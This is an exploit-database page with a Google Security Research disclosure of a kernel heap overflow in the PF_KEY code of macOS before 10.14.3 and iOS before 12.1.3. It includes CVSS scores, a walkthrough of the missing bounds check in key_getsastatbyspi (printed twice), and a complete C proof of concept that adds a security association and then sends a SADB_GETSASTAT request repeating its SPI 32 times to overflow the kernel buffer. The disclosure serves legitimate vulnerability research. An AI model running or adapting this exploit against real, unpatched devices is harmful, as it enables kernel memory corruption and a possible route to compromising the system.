Lucene search

K
zdtGoogle Security Research1337DAY-ID-32097
HistoryFeb 01, 2019 - 12:00 a.m.

macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking

2019-02-0100:00:00
Google Security Research
0day.today
40

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.006 Low

EPSS

Percentile

74.9%

/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
*/

// @i41nbeer

#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics

Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>

#if 0
struct sadb_msg {
  u_int8_t sadb_msg_version;
  u_int8_t sadb_msg_type;
  u_int8_t sadb_msg_errno;
  u_int8_t sadb_msg_satype;
  u_int16_t sadb_msg_len;         // in 8-byte units
  u_int16_t sadb_msg_reserved;
  u_int32_t sadb_msg_seq;
  u_int32_t sadb_msg_pid;
};

// extenstion header

struct sadb_ext {
  u_int16_t sadb_ext_len;        // 8-byte units
  u_int16_t sadb_ext_type;
};

// SADB_EXT_SA

struct sadb_sa {
  u_int16_t sadb_sa_len;
  u_int16_t sadb_sa_exttype;
  u_int32_t sadb_sa_spi;
  u_int8_t sadb_sa_replay;
  u_int8_t sadb_sa_state;
  u_int8_t sadb_sa_auth;
  u_int8_t sadb_sa_encrypt;
  u_int32_t sadb_sa_flags;
};

// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?

struct sadb_address {
  u_int16_t sadb_address_len;
  u_int16_t sadb_address_exttype;
  u_int8_t sadb_address_proto;
  u_int8_t sadb_address_prefixlen;
  u_int16_t sadb_address_reserved;
};

// SADB_EXT_KEY_AUTH header

struct sadb_key {
  u_int16_t sadb_key_len;       
  u_int16_t sadb_key_exttype;
  u_int16_t sadb_key_bits;      // >> 3 -> bzero
  u_int16_t sadb_key_reserved;
};

// SADB_EXT_SASTAT

struct sadb_sastat {
        u_int16_t            sadb_sastat_len;
        u_int16_t            sadb_sastat_exttype;
        u_int32_t            sadb_sastat_dir;
        u_int32_t            sadb_sastat_reserved;
        u_int32_t            sadb_sastat_list_len;
        /* list of struct sastat comes after */
} __attribute__ ((aligned(8)));

struct sastat {
        u_int32_t            spi;               /* SPI Value, network byte order */
        u_int32_t            created;           /* for lifetime */
        struct sadb_lifetime lft_c;             /* CURRENT lifetime. */
}; // no need to align

#endif


struct my_msg {
  struct sadb_msg hdr;

  // required options
  struct sadb_sa sa;  // SADB_EXT_SA

  struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
  struct sockaddr_in sockaddr_src; // 0x10 bytes
  struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
  struct sockaddr_in sockaddr_dst; // 0x10 bytes

  struct sadb_key key;
  char key_material[128/8];
};

#define N_LIST_ENTRIES 32
struct stat_msg {
  struct sadb_msg hdr;
  struct sadb_session_id sid;
  struct sadb_sastat stat;
  struct sastat list[N_LIST_ENTRIES];
};

int main() {
  // get a PF_KEY socket:
  int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
  if (fd == -1) {
    perror("failed to get PF_KEY socket, got privs?");
    return 0;
  }

  printf("got PF_KEY socket: %d\n", fd);

  struct my_msg* msg = malloc(sizeof(struct my_msg));
  memset(msg, 0, sizeof(struct my_msg));

  msg->hdr.sadb_msg_version = PF_KEY_V2;
  msg->hdr.sadb_msg_type = SADB_ADD;

  msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
  msg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SA
  msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
  msg->sa.sadb_sa_exttype = SADB_EXT_SA;

  // we need to fill in the fields correctly as we need at least one valid key 
  msg->sa.sadb_sa_spi = 0x41414141;

  msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
  // -> 128 bit key size

  // SADB_EXT_ADDRESS_SRC
  msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
  msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;

  msg->sockaddr_src.sin_len = 0x10;
  msg->sockaddr_src.sin_family = AF_INET;
  msg->sockaddr_src.sin_port = 4141;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);


  // SADB_EXT_ADDRESS_DST
  msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
  msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;

  msg->sockaddr_dst.sin_len = 0x10;
  msg->sockaddr_dst.sin_family = AF_INET;
  msg->sockaddr_dst.sin_port = 4242;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);

  msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
  msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
  msg->key.sadb_key_bits = 128;

  size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  ssize_t written = write(fd, msg, amount_to_send);
  printf("written: %zd\n", written);


  
  struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
  memset(smsg, 0, sizeof(struct stat_msg));

  smsg->hdr.sadb_msg_version = PF_KEY_V2;
  smsg->hdr.sadb_msg_type = SADB_GETSASTAT;

  smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
  smsg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SESSION_ID
  smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
  smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;

  // SADB_EXT_SASTAT
  smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
  smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;

  smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;

  for (int i = 0; i < N_LIST_ENTRIES; i++) {
    smsg->list[i].spi = 0x41414141;
  }


  amount_to_send = smsg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  written = write(fd, smsg, amount_to_send);
  printf("written: %zd\n", written);




  return 0;
}

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.006 Low

EPSS

Percentile

74.9%